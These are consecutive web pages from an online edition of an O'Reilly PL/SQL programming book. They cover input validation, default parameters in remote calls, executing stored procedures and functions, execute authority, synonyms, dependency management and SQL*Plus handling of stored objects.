Now, no matter how the user enters the action, exec_action can figure out what to do:

exec_action ('DL');
exec_action ('dl');
exec_action ('display_LEDGER');
exec_action ('calc_profits');

The ELSE clause also checks for an invalid value. While you, the author, may be sure that you would never enter an incorrect action, a new developer might be a lot less certain about the specific values. If you do not trap and report the mistake, this person would be at a tremendous disadvantage.

Never forget the Golden Rule when it comes to programming: trap mistakes for others as you hope they would trap them for you!

When checking for bad codes, you do have an alternative to performing the check at the end of a sometimes long IF-ELSIF sequence. That final ELSE clause is less than ideal since it can be hard to find in the code and, from a performance standpoint, you have to actually perform all the valid comparison checks before you register the problem. I suggest that you develop a generic code_check procedure that takes the list of valid codes, the code entered by the user, and an optional message text. If the code is not found in the list, code_check forces termination of the calling program.

PROCEDURE exec_action (action_in IN VARCHAR2)
IS
   action_int VARCHAR2(30) := UPPER (action_in);
BEGIN
   code_check ('|DISPLAY_LEDGE|DL|CALC_PROFITS|CP', action_int,
               'action code');
   IF action IN ('DISPLAY_LEDGER', 'DL')
   THEN -- the code to display the ledger.
   ELSIF action IN ('CALC_PROFITS', 'CP')
   THEN -- the code to calculate the profits.
   ELSIF ...
   END IF;
END;

Here is the code_check routine in Oracle Forms:

PROCEDURE code_check
   (valid_codes_in IN VARCHAR2,
    check_code_in IN VARCHAR2,
    code_name_in IN VARCHAR2 := 'code',
    delimiter_in IN VARCHAR2 := '|')
IS
BEGIN
   IF INSTR (valid_codes_in, delimiter_in || check_code_in) = 0
   THEN
      MESSAGE
      (' Invalid ' || code_name_in || ': "' || check_code_in || '"');
      RAISE FORM_TRIGGER_FAILURE;
   END IF;
END;

Using code_check, if I execute the following statement with an invalid action code:

exec_action ('dp');

the following text will appear on the message line or in an alert box:

Invalid action code: "dp"

Whether or not you go to the trouble of building a separate routine to check for valid codes, as long as you do validate the input to your modules, programmers will make fewer errors and be able to fix those faster. The more work your code does for the programmer, the more productive that programmer will be.

22.7.5 Default Values and Remote Procedure Calls

If you are using Oracle Server Version 7.0, you will encounter a number of situations where you have to include a value for every parameter in your module's parameter list. In Version 7.0, any call to a remote procedure must include all arguments, as indicated by the following error:

PLS-424: 'all arguments must be provided in remote procedure call;
          no defaults'.

You might say to yourself, "No problem. I do not have a distributed database. I am not performing any RPCs (remote procedure calls)." From the standpoint of PL/SQL, however, any of the following scenarios involves a remote procedure call:

  • A Pro*C program that calls a stored procedure

  • An Oracle Developer/2000 tool that calls a stored procedure

  • An honest-to-goodness remote procedure call of the format:

    procedure_name@database_link;

One way you can get around this problem is to create a local procedure that supports default values by passing its own default to the stored procedure. Suppose I have a stored procedure as follows:

PROCEDURE calc_profits
   (company_id_in IN NUMBER,
    profit_type_in IN VARCHAR2 := 'NET');

If I try to use this procedure in Oracle Forms, I must include a value for both parameters, even if I use the default:

calc_profits (:company.company_id, 'NET');

Suppose I now create the following local procedure (either in the form itself or in a PL/SQL library):

PROCEDURE of_calc_profits
   (company_id_in IN NUMBER,
    profit_type_in IN VARCHAR2 := 'NET')
IS
BEGIN
   calc_profits (company_id_in, profit_type_in);
END;

I can now call this procedure using the default value of NET, since the Oracle Forms version of the procedure always passes a value to the stored procedure version:

of_calc_profits (:company.company_id);

(In Version 7.1 of the Oracle Server, by the way, you will be permitted to use default values in remote procedure calls.)

This situation with Oracle Server Version 7 reinforces one of my suggestions regarding default parameter values: always specify a value for each of the module's parameters, even if a value is the same as the default. You will find yourself less vulnerable to problems down the line.

Previous: 22.6 Construct Abstract Data Types (ADTs) | Oracle PL/SQL Programming, 2nd Edition | Next: 23. Managing Code in the Database
22.6 Construct Abstract Data Types (ADTs) | Book Index | 23. Managing Code in the Database
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 23] Managing Code in the Database

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book
Previous: 22.7 Tips for Parameter Design Chapter 23 Next: 23.2 Transaction Integrity and Execute Authority

23. Managing Code in the Database

Contents:
Executing Stored Code
Transaction Integrity and Execute Authority
Module Validation and Dependency Management
Remote Procedure Calls
Managing Stored Objects with SQL*Plus
Using SQL to Examine Stored Objects
Encrypting Stored Code

You will either embed PL/SQL programs in your client-side application, as happens in the Oracle Developer/2000 tools, or you will store your code in the Oracle database.

The term stored procedure commonly refers to code that is stored in the database. Along with procedures, you can also store functions and packages, which can contain variables, cursors, record structures, etc. Whenever you hear the term stored procedures, you should think "stored objects."

There are a number of benefits to storing an object in the database:

  • The database manages dependencies between your stored objects. For example, if a stored function relies on a certain table and that table's structure is changed, the status of that function is automatically set to INVALID and recompilation takes place, again automatically, when someone tries to execute that function.

  • Any session with EXECUTE authority can execute the stored object. Whether you are in an Oracle Forms application, a database trigger, or a batch process, that stored object is accessible as long as the database is accessible. The compiled code for the object is made available from the shared memory of the database instance.

  • You can execute a module stored in another (remote) database. This is known as a remote procedure call, or RPC. The ability to execute code on a different database means that you do not have to distribute application code to multiple databases in order to support distributed applications.

  • Stored modules offer transaction-level security, which goes well beyond the table- and column-level data and referential integrity offered by the database. With a stored module you can make sure that transactions involving multiple tables and different steps are always performed properly. This was actually one of the original motivations for the development of the PL/SQL language.

  • Execution of a stored object shifts CPU load to the server. Rather than run your code locally in a form or report, the stored object executes on the database server. Assuming that the server is sized to handle the load, this shift could improve overall application performance. This feature could be less of a benefit, of course, if the server is already heavily burdened.

Stored objects play an important role in today's client-server applications. The information in this chapter will help you make the best possible use of stored objects.

23.1 Executing Stored Code

To execute a stored program unit, you must first store this program in the database. I'll explain this CREATE OR REPLACE step later in this chapter. For now, let's take a look at what happens when you run a stored PL/SQL program.

23.1.1 Executing Procedures

If you are working in SQL*Plus, you can execute programs directly from the command line. Use the EXECUTE command to run procedures as follows:

SQL> execute calc_totals

Notice that you do not have to provide a semicolon. In fact, if you are going to use the EXECUTE command, the entire PL/SQL procedure call must fit on one physical line. As soon as you press the Enter key, the program executes.

You can also save a few microseconds (but accumulated over a whole year...) by providing only the minimum number of characters for the EXECUTE command:

SQL> exec calc_totals

When you are executing a procedure within a PL/SQL block, you do not use the EXECUTE syntax. You simply call the procedure, passing all necessary parameters within parentheses, and then terminate the line of code with a semicolon. Here is the syntax for calling the calc_totals procedure within a PL/SQL block:

BEGIN
   calc_totals;
END;

You can also execute PL/SQL procedures in various "front-end" tools, such as Oracle Forms, PowerBuilder, and many 3GL languages like C and COBOL. The syntax for calling procedures (and functions) will vary from tool to tool. Within the Oracle Developer/2000 environment, you can call stored programs from within a "native," albeit outdated, version of PL/SQL (see Appendix B, Calling Stored Procedures from PL/SQL Version 1.1, for more information). From a language like C, you will actually use a precompiler called Pro*C (from Oracle) and embed calls to PL/SQL programs within a SQL execution block like this:

EXEC SQL EXECUTE
   BEGIN
      calc_totals;
   END;
END-EXEC;

23.1.2 Executing Functions

The situation with functions is a little bit different. A function returns a value, so you can't just execute it directly. If you try to run a function as if it is a procedure, you will get the following error:

SQL> exec total_sales (1997)
begin total_sales (1997); end;
 *
ERROR at line 1:
ORA-06550: line 1, column 7:
PLS-00221: 'TOTAL_SALES' is not a procedure or is undefined
ORA-06550: line 1, column 7:
PL/SQL: Statement ignored

If you want to run a function simply to view its return value, you can execute it within a call to DBMS_OUTPUT.PUT_LINE as follows:

SQL> exec DBMS_OUTPUT.PUT_LINE (total_sales (1997))

Of course, this only works if the datatype of the return value of the function matches one of the datatypes supported by DBMS_OUTPUT: number, string and date. For anything else, you will need to execute the function within an anonymous block and then convert the value as necessary for display. In the following example, I declare a PL/SQL table of strings to retrieve the value from a function that returns all the foreign key information for a table. I then use a FOR loop to display that information:

/* Employs PL/SQL 2.3 syntax for PL/SQL tables. */
DECLARE
   TYPE strtabtype IS TABLE OF VARCHAR2(100) INDEX BY BINARY_INTEGER;
   strtab strtabtype;
BEGIN
   strtab := primary_keys.for_table (`emp');
   IF strtab.COUNT > 0
   THEN
      FOR tabrow IN strtab.FIRST .. strtab.LAST
      LOOP
         DBMS_OUTPUT.PUT_LINE (strtab.column_name);
      END LOOP;
   END IF;
END;
/

If I have saved this block in a file called myscript.sql, I can then execute this program and verify my function's behavior as follows:

SQL> @myscript

NOTE: You might wonder why I placed my FOR loop inside an IF statement. Surely, if there were no rows, the strtab.FIRST method would return NULL and the loop would not execute. Yes and no. The FIRST and LAST methods do return NULL if the PL/SQL table is empty, but oddly enough, if your numeric FOR loop range evaluates to:

FOR tabrow IN NULL .. NULL

then the PL/SQL runtime engine does enter the loop and try to process the body contents immediately. Then it raises an ORA-06502 VALUE_ERROR exception. So you really want to put some conditional logic around those FOR loops if you think the range endpoints might evaluate to NULL.1

Now that you've seen how to execute programs "from the outside," let's move inside and take a look at the architecture Oracle employs to deliver that code to you for execution.

23.1.3 Memory-Based Architecture of PL/SQL Code

Whenever you start up an Oracle instance, a chunk (usually a rather large chunk) of memory is set aside for the System Global Area or SGA. Various Oracle processes manage this area of memory to do any of the following and more:

  • Retrieve data from the database and deliver it to user processes (a PL/SQL procedure executing an explicit cursor, an Oracle Forms application querying records through a base table block, an Internet HTML page utilizing the Oracle WebServer interface, and so on).

  • Change data and then manage the transaction processing (commits and rollbacks) based on those changes.

  • Provide access to PL/SQL programs for execution in the server itself.

  • Transfer information between Oracle sessions using database pipes and database alerts.

When you use a stored program element (by executing a procedure or function or by making reference to a nonexecutable part of a package like a constant or cursor), it must be accessible from the SGA. So when you reference a program element, its compiled version is loaded into the SGA's shared pool, if it is not already present. Then any program data associated with that element is instantiated in your Program Global Area (PGA). At that point, the code can be executed or otherwise used in your session.

The next time a session with execute authority on that program element references it, it will already have been loaded and will therefore be available for execution.

When the SGA shared pool area fills up, code in the pool will be aged out (that is, room will be made for newly requested programs) on a least-recently-used basis. Programs which are used often will therefore most likely be available immediately upon request. You can also pin programs into shared memory if you want to make certain that they will not be aged out. See Chapter 25, Tuning PL/SQL Applications, for more details on pinning.

Note that even if your compiled code is aged out of the SGA, any persistent, package-based data will remain available in your PGA. In other words, code may be swapped out of the SGA, but program data remains and persists for the duration of your session (or until you explicitly request a reinitialization of your schema).

Figure 23.1 illustrates a number of the points covered in this section.

Figure 23.1: The System Global Area and Program Global Area

23.1.4 Key Concepts for Program Execution

Here are some basic principles to remember about program execution:

  • Compiled PL/SQL code is shared among all users with EXECUTE authority on that code. Usually you will set up your environment so that one account or schema owns all the code for an application. You then grant EXECUTE authority to other users on that code. When any of those schemas runs this code, they are working with the same compiled code. Again, the data instantiated and manipulated within those programs is specific to each connection.

  • When you reference any individual element in a package, the entire package is loaded into shared memory. This can be both an advantage and a disadvantage. If you group together (in a package) functionality which is usually executed in "close proximity," then you are more likely to find the program you need in shared memory. This will speed up the completion of your program.

    On the other hand, suppose that you build some very large packages which contain programs covering a disparate range of functionality. My application needs just one function out of the 100 procedures, functions, and cursors defined. Too bad! My SGA and my PGA must absorb the full punishment of the package (both the room needed for the shared, compiled code and all the package data instantiated in my PGA).

  • Program data instantiated within a program is stored in PGA for each user, rather than in the SGA. This means that each user has his own copy of program data. If a procedure declares a PL/SQL table and stuffs it full of 1000 strings, every user who executes that procedure has his own copy of that table and its 1000 strings. The nice thing about this characteristic is that gives you a fair amount of flexibility in finding the delicate balance between those ever-competing resources: CPU and memory.

NOTE: The architecture in the multi-threaded server (MTS) is a bit different, but the principle is the same: different users have their own copies of their program data.

  • Stored code runs under the authority of that code's owner, not that of the schema which is executing the code. Suppose that you have stored all the code for your order entry application in the SYSTEM account (a very bad idea, as this example will illustrate). You then grant EXECUTE authority on that code to SCOTT, the traditional Oracle demonstration account, which has very little power outside of doing whatever it wants with the emp and dept tables.

    Now suppose further that the delall procedure of the ordent package allows you to delete all orders from the application table. The intention is that only administrators will have the ability to do that. In fact, the only account that can delete from the orders table at all is SYSTEM. Once you have granted EXECUTE authority on ordent to SCOTT, however, all heck can very decidedly break loose. For when a user logged in as SCOTT executes the ordent.delall procedure, that user is, for that moment, acting as though she were connected to SYSTEM. All rows are removed from the orders table!

    You must, consequently, very careful about (a) the authority of the schema owning your shared application code, and (b) to whom you grant EXECUTE authority on that code.

  • Even though stored code runs under the authority of that code's owner, the USER function still returns the name of the schema currently connected to Oracle. The USER function does not, in other words, return the name of the schema which owns the code in which the USER function was called.

Previous: 22.7 Tips for Parameter Design | Oracle PL/SQL Programming, 2nd Edition | Next: 23.2 Transaction Integrity and Execute Authority
22.7 Tips for Parameter Design | Book Index | 23.2 Transaction Integrity and Execute Authority
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 23] 23.2 Transaction Integrity and Execute Authority

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

23.2 Transaction Integrity and Execute Authority

The RDBMS and SQL languages give you the capability to tightly control access to and changes in any particular table. With the GRANT command you can, for example, make sure that only certain roles and users have the ability to perform an UPDATE on a given table. This GRANT statement cannot, on the other hand, make sure that the UPDATEs performed by a user or application are done correctly.

In a typical banking transaction, you might need to transfer funds from account A to account B. The balance of account B must be incremented, and that of account A decremented. Table access is necessary, but not sufficient, to guarantee that both of these steps are always performed by all programmers who write code to perform a transfer. Without stored objects, the best you can do is require extensive testing and code review to make sure that all transactions are properly constructed. With stored objects, on the other hand, you can guarantee that a funds transfer either completes successfully or is completely rolled back, regardless of who executes the process.

23.2.1 Execute Authority on Stored Objects

The secret to achieving this level of transaction integrity is the concept of execute authority (also known as run authority). Instead of granting to a role or user the authority to update a table, you grant privileges to that role/user only to execute a procedure. This procedure controls and provides access to the underlying data structures (see Figure 23.2). The procedure is owned by a separate Oracle RDBMS account, which in turn is granted the actual update privileges on those tables needed to perform the transaction. The procedure therefore becomes the gatekeeper for the transfer transaction. The only way a program (whether an Oracle Forms application or a Pro*C executable) can execute the transfer is through the procedure, so the transaction integrity can be guaranteed.

Figure 23.2: Transaction integrity with a PL/SQL code layer

In order for a stored procedure or package to compile (which occurs at the time of creation or replacement), the owner of that program must explicitly be granted all the necessary privileges to any objects referenced by the program. These privileges may not be granted simply to a role. If, for example, procedure disp_customer issues a SELECT statement against the customer table, then the owner of disp_customer must be granted a minimum of SELECT privileges on that table with an explicit command:

GRANT privilege ON customer TO procedure_owner;

Requiring direct grants to individual Oracle users sometimes causes difficulty in environments where grants are controlled carefully and efficiently through the use of roles. After all, the whole idea of the role is to allow DBAs to move away from the onerous task of directly granting privileges to a myriad of individual users. Yet every one of those users must execute the stored procedures underlying an application. What's a DBA to do?

In some Oracle shops, a single account (user), which I'll call STOROBJ, is created in the production environment. This user owns all stored objects and has update privileges on all tables, as is appropriate. Other people who use the applications might have SELECT privileges on a number of tables, and perhaps even update privileges on certain tables that are maintained through Oracle Forms applications. But all complex transactions are bundled into stored procedures and stored functions, and users are granted EXECUTE authority only to those stored programs. If an Oracle Forms screen needs to perform a funds transfer, it calls the stored procedure and displays confirmation information on the screen. The logic and authority would, however, reside in the database and be controlled tightly by the STOROBJ account.

To grant execute authority on a stored object, you issue the following command (in SQL*Plus, SQL*DBA, or another product that supports the issuing of DDL calls):

SQL> GRANT EXECUTE ON object_name TO user_or_role;

NOTE: You can only grant EXECUTE authority to an entire package, not to individual programs within a package. Suppose that you build a single package to encapsulate all SQL-based access to a table; this package contains procedures which perform inserts, updates, and deletes, as well as cursors and functions to query data. There is no way to grant "read-only" EXECUTE authority. A schema can either run all programs in a package or none. As a result, you might want to build a single package encapsulating all SQL against a table or view, but then build additional packages on top of that "base" package which act as filters for certain classes of activity.

23.2.2 Creating Synonyms for Stored Objects

You should create public synonyms for each of the stored objects so that individual developers do not have to reference the STOROBJ account name in order to access the programs. Suppose, for example, that we have a funds transfer procedure, as follows:

PROCEDURE xfer_funds
   (from_account_in IN NUMBER, to_account_in IN NUMBER,
    transfer_amount_in IN NUMBER, transfer_status_out OUT NUMBER);

Without a synonym, you would have to execute this procedure in this way:

storobj.xfer_funds (:old_acct, :new_acct, :xfer_amt, :xfer_stat);

You should always avoid hardcoding the name of the owner of an object, be it a procedure or a table. What if you need to change the account name? What if you decide to move the procedure to an entirely different server and then need to execute this procedure as an RPC? Whenever you are working with stored objects, you should create synonyms, as follows:

SQL> CREATE PUBLIC SYNONYM xfer_funds FOR storobj.xfer_funds;

Now I can call the transfer procedure without making reference to its owner:

xfer_funds (:old_acct, :new_acct, :xfer_amt, :xfer_stat);

While it is possible to create a synonym for a standalone procedure, it is not possible to create a synonym for a packaged procedure or function. You can, however, create a synonym for the package itself. In effect, synonyms can be used to avoid having to provide the schema name of an object; you cannot use it to avoid specifying the package name in which a program is defined.

Previous: 23.1 Executing Stored Code | Oracle PL/SQL Programming, 2nd Edition | Next: 23.3 Module Validation and Dependency Management
23.1 Executing Stored Code | Book Index | 23.3 Module Validation and Dependency Management
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 23] 23.3 Module Validation and Dependency Management

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

23.3 Module Validation and Dependency Management

Whenever you create or replace a stored object in the database, the PL/SQL engine compiles the code. If the compile succeeds, then the following information is stored in the database:

  • The source code for the module, as you wrote it.

  • The tree structure of the module, a hierarchical representation of the original source code, with a list of local and external references. The tree structure is used only by the compilation (and automatic recompilation) process.

  • The pcode for the module, which is a list of instructions to the PL/SQL execution engine. The PL/SQL execution engine uses the pcode to execute the module when it is called by a host program.

When a module compiles, its status is set to VALID. This status is maintained in the SYS.OBJ$ table. Upon compilation, the PL/SQL engine also has resolved all references to other database objects such as tables and other stored programs. Each of these references constitutes a dependency for that module. In other words, the validity of the module is dependent upon the validity of all objects on which it depends. All dependency information is stored in the SYS.DEPENDENCY$ table.

NOTE: The tree structure, pcode, and dependency information is maintained only for named modules. Anonymous blocks and database triggers are compiled only when (and each time that) they are executed. The generated pcode for these objects is stored directly in the shared pool of the database instance for as long as they are used, and until they are erased from the System Global Area, using a least-recently-used algorithm.

Starting with Oracle Server Release 7.3, triggers are compiled and their pcode stored in the database.

23.3.1 Interdependencies of Stored Objects

A stored object must be VALID in order for its pcode to be loaded into the shared pool and executed by the host program. As noted above, if the compile succeeds at create/replace time, then the status is set to VALID. This status may, however, depend on other objects. Consider the following function:

FUNCTION full_name (employee_id_in IN NUMBER) RETURN VARCHAR2
IS
   first_and_last VARCHAR2(100);
BEGIN
   SELECT first_name || ' ' || last_name
     INTO first_and_last
     FROM employee
    WHERE employee_id = employee_id_in;
   RETURN first_and_last;
EXCEPTION
   WHEN NO_DATA_FOUND
   THEN
      RETURN NULL;
END;

Suppose that on Monday I save this function to the database. It compiles successfully and its status is set to VALID. The PL/SQL compiler also adds a record in the DEPENDENCY$ table to indicate that full_name is dependent on the employee table. Then on Tuesday, the DBA team adds another column to the employee table. The Oracle Server automatically checks the dependencies for the employee table and sets the status of all dependent objects to INVALID. This is a recursive process. Once full_name is set to INVALID, then any modules calling full_name are also set to INVALID.[1]

[1] An important exception to this "chain reaction" occurs with packaged modules. If, for example, full_name was defined within a package called, say, "employee", then even if the status of the full_name module is set to INVALID, no modules that call full_name will be tagged invalid, unless the specification of full_name changed (which it does not in this case). See the package examples and documentation on the disk for more information about this extra protection provided by packages.

The next time a user runs the full_name function, the database notices that the status is INVALID. It then calls the PL/SQL engine to compile the function. If the compile succeeds, then the pcode is loaded to shared memory and the function runs.

Automatic Versus Manual Compilation

It is easy to see that the database does a lot of work for you by maintaining the stored object dependencies and automatically recompiling objects as needed. You may not want to always depend on such recompilation, however. There are two potential drawbacks to automatic recompilation:

  • The recompilation takes place at run time, when the user has requested an action. This means that the user waits while PL/SQL does its thing. The pause should not be very noticeable for small objects. Large packages can, however, take more than several seconds to compile. Do you want your users to wait while this happens?

  • The recompilation can fail. What if the reason that the full_name function is INVALID is that the employee table was dropped? The database cannot recover from such an error, as far as full_name is concerned.

A much more sensible approach to take with stored object recompilation is to manually recompile all INVALID objects before the user tries to execute those objects. This way the compilation time is moved off-line and if any objects fail to compile, you can analyze and resolve the problem. To do this manual recompilation you need to coordinate closely with the DBA group (if it is separate from the application development team). You can determine which modules are INVALID by examining the contents of the USER_OBJECTS or ALL_OBJECTS views. You could even generate the commands necessary to recompile all INVALID PL/SQL objects with the following query:

SELECT 'ALTER ' || object_type || ' ' ||
       object_name || ' COMPILE;'
  FROM user_objects
 WHERE object_type IN
         ('PACKAGE', 'PACKAGE BODY', 'FUNCTION', 'PROCEDURE')
   AND status = 'INVALID';

Output from this query might look like:

ALTER PACKAGE PSGLOBAL COMPILE;
ALTER FUNCTION FULL_NAME COMPILE;

You could also force recompilation of a module by using the ALTER_COMPILE procedure in the DBMS_DDL package (see Appendix A, What's on the Companion Disk?, for more details), as follows:

DBMS_DDL.ALTER_COMPILE ('package', 'SCOTT', 'FULL_NAME');

It is easy, when you use stored objects, to take for granted automatic management of these objects by the database. You might scarcely notice the status of your objects and the recompilations that take place behind the scenes.

That's cool. That's the whole idea. As you move your applications into production, however, you would be well served to remember how the database works with your stored objects. That way, when something goes wrong (very slow execution time under certain circumstances, for example), you have some idea of how to fix it.

Previous: 23.2 Transaction Integrity and Execute Authority | Oracle PL/SQL Programming, 2nd Edition | Next: 23.4 Remote Procedure Calls
23.2 Transaction Integrity and Execute Authority | Book Index | 23.4 Remote Procedure Calls
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 23] 23.4 Remote Procedure Calls

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

23.4 Remote Procedure Calls

One of the most important enhancements contained in PL/SQL Version 2.0 and all subsequent releases is the ability to execute remote procedure calls or RPCs. A remote procedure (module) call occurs when you execute a program from within one database that is stored in another database. To execute a remote module, you simply attach a database link after the module name, as follows:

emp_name := full_name@new_york (:emp.employee_id);

The full specification for a remote module call is:

schema_name.[package_name.]module_name@database_link_name

where [package_name.] is the optional package name, necessary if the module is contained in a package.

Just as you should hide the owner of a module with a synonym, you should do the same thing for remote module calls. Programmers should never have to know where a module is located nor who owns it. You should never want them to know because if that information is placed in a program, that program is much more vulnerable to breakage. The very nature of a remote module call indicates that the code can be moved to a different remote database. Never let a programmer hardcode such information in a program.

When you call a remote module and it raises an exception, that exception is passed back as raised to the calling program -- for all but user-defined exceptions. If your remote module raises a NO_DATA_FOUND exception, your exception handler traps that error. If, on the other hand, your module uses RAISE_APPLICATION_ERROR to raise a custom exception (error numbers between -20000 and -20999), then that specific exception is lost in the translation back to the calling program. Instead, error ORA-06510 is always returned to the local program.

Previous: 23.3 Module Validation and Dependency Management | Oracle PL/SQL Programming, 2nd Edition | Next: 23.5 Managing Stored Objects with SQL*Plus
23.3 Module Validation and Dependency Management | Book Index | 23.5 Managing Stored Objects with SQL*Plus
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 23] 23.5 Managing Stored Objects with SQL*Plus

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

23.5 Managing Stored Objects with SQL*Plus

You can use SQL*Plus to manage stored objects like database triggers, procedures, functions, and packages. When Oracle7 was first released, SQL*Plus was the only way to create stored procedures. With the advent of CDE and Oracle Procedure Builder, however, you now have a number of choices for creating and updating your stored objects. Still, many of you will rely on SQL*Plus, especially if your DBA activities are performed on a UNIX (or other non-Windows) server.

23.5.1 Creating Stored Objects

The syntax to create stored objects is as follows:

CREATE [OR REPLACE] PROCEDURE proc_name (param_list) AS ... ;
CREATE [OR REPLACE] FUNCTION func_name (param_list) RETURN datatype AS ... ;
CREATE [OR REPLACE] PACKAGE pkg_name AS ... ;
CREATE [OR REPLACE] PACKAGE BODY pkg_name AS ... ;
CREATE [OR REPLACE] DATABASE TRIGGER trig_name AS ... ;

Everything from the object name onwards has the same syntax shown in the appropriate chapter on that object. The CREATE OR REPLACE syntax in front of the normal syntax indicates to SQL*Plus that you want to create the object in the database. This is a DDL (data definition language) statement in SQL, just like a CREATE TABLE statement.

You must create a package specification separately from the package body. In fact, you must create the specification first, or else you receive the following error:

PLS-00304: cannot compile body of 'pkg_name' without its specification

When an object is created, it is stored in a data dictionary table. The source for procedures, packages, functions, and package bodies is kept in the SOURCE$ table (owned by SYS). Views into the SOURCE$ table are:

ALL_SOURCE

Source for all objects to which you have access, and therefore EXECUTE privilege on that object

USER_SOURCE

Source for all objects you have created

The statements executed by a trigger are stored in the ACTION column of the TRIGGER$ table (owned by SYS). You can view all triggers you created by accessing USER_TRIGGERS, or all triggers to which you have access by viewing the contents of ALL_TRIGGERS.

Even though you store your modules in the database, you do not maintain your source code for these modules directly in their data dictionary tables. Instead, you must always keep the source code in text files. If you need to make a change to an object, make the changes in the source code and then replace the object in the database.

In order to distinguish regular SQL*Plus scripts from scripts that maintain stored objects, I employ a different file extension for them, as shown in the following table:

File Type | Extension
General SQL*Plus script | <file>.sql
Testing script | <file>.tst
Stored procedure | <file>.sp
Stored function | <file>.sf
Stored package body | <file>spb
Stored package specification | <file>.sps

23.5.2 Tips for Storing Code in Files

Here are some tips for storing code in files:

  • Always keep your CREATE OR REPLACE statements for package specifications separate from those of your package bodies. That way you can compile each separately. If you keep them together, when you change something in the package body, you will recompile both specification and body. When you recompile your specification, the status of any programs referencing an element in that package will be marked INVALID. They will then have to be recompiled.

  • When you construct installation scripts for your package-based applications, first compile all specifications and then compile all bodies. When package bodies are compiled, references to other package elements are resolved through the specification. With all the specifications "in place" in the database, you are much less likely to run into seemingly circular dependencies. Note that you will have to be careful about the order in which you compile specifications to resolve any dependencies in those specifications themselves. On the other hand, you can compile your bodies in any order you like.

23.5.3 Changing Stored Objects

There are two ways to change an existing object in the database:

  • Drop the object and recreate it

  • Use the CREATE OR REPLACE syntax instead of CREATE

With the first approach, I would issue a DROP command followed by a CREATE command, as follows:

DROP PROCEDURE calc_totals;
CREATE PROCEDURE calc_totals
   (company_id_in IN NUMBER, totals_out OUT NUMBER)
IS
BEGIN
   ... body of procedure ...
END;
/

Alternatively, I can use a single command to indicate that if the object already exists, replace it in its entirety with the new version found in the statement:

CREATE OR REPLACE PROCEDURE calc_totals
   (company_id_in IN NUMBER, totals_out OUT NUMBER)
IS
BEGIN
   ... body of procedure ...
END;
/

If you are replacing a very large procedure, you might at times encounter an error like the following:

CREATE OR REPLACE PACKAGE BODY PSGlobal
*
ERROR at line 1:
ORA-00604: error occurred at recursive SQL level 1
ORA-01562: failed to extend rollback segment (id = 2)
ORA-01547: failed to allocate extent of size 5 in tablespace 'ROLLBACK_DATA'

The RDBMS writes the rows being replaced (deleted) to the rollback segment; if the program is very large and your rollback segments are not commensurately massive, your CREATE OR REPLACE does not succeed. To get around this problem you can increase the size of your rollback segments or you can drop your object before you try to CREATE OR REPLACE. Because the DROP is a DDL statement, it will perform a commit upon completion. Then your rollback segments don't have to maintain the old, deleted rows while the INSERT is taking place.

Storing Versus Executing a Stored Program

An important point to remember with stored objects is that the command to CREATE OR REPLACE an object does not actually execute the stored object. It simply places the code for that object in the database and compiles it. To execute the program, you can then use the EXECUTE command at the SQL> prompt, or place a call to the program in a PL/SQL block. (This distinction is one reason I think that it is so important to use a different file extension (.sp) for the CREATE statements than for the normal SQL*Plus scripts (.sql ).)

Say, for example, you create a file named calctot.sp, as follows:

CREATE OR REPLACE PROCEDURE calc_totals
   (company_id_in IN NUMBER, totals_out OUT NUMBER)
IS
BEGIN
   ... body of procedure ...
END;
/

Then, when you execute this file with the command:

SQL> start calctot.sp

you receive the following message:

Procedure created.

No totals will have been calculated. The procedure was simply created. To calculate and display those totals you can now create a .sql file with a PL/SQL block, as follows:

DECLARE
   mytot NUMBER;
BEGIN
   calc_totals (1005, mytot);
   DBMS_OUTPUT.PUT_LINE ('Totals for company 1005 is ' || TO_CHAR (mytot));
END;
/

and then run the script:

SQL> start calctots.sql

If you do receive a compile error when creating a stored object, you see a message like this:

Warning: Package Body created with compilation errors.

23.5.4 Viewing Compilation Errors in SQL*Plus

When the PL/SQL engine encounters errors, it writes the generated error messages to the ERROR$ table (owned by SYS). To see these error messages, you can either write a query against the USER_ERRORS view, or you can type the following command at the SQL*Plus prompt:

SQL> show errors

The "show errors" command runs a script that formats the contents of USER_ERRORS so you can easily scan the errors. Here is an example of the output from show errors:

Errors for PACKAGE BODY PS_GLOBAL:

SQL> show errors
LINE/COL ERROR
-------- --------------------------------------------------------------
0/0      PL/SQL: Compilation unit analysis terminated
1/14     PLS-00304: cannot compile body of 'PSGLOBAL' without its
         specification

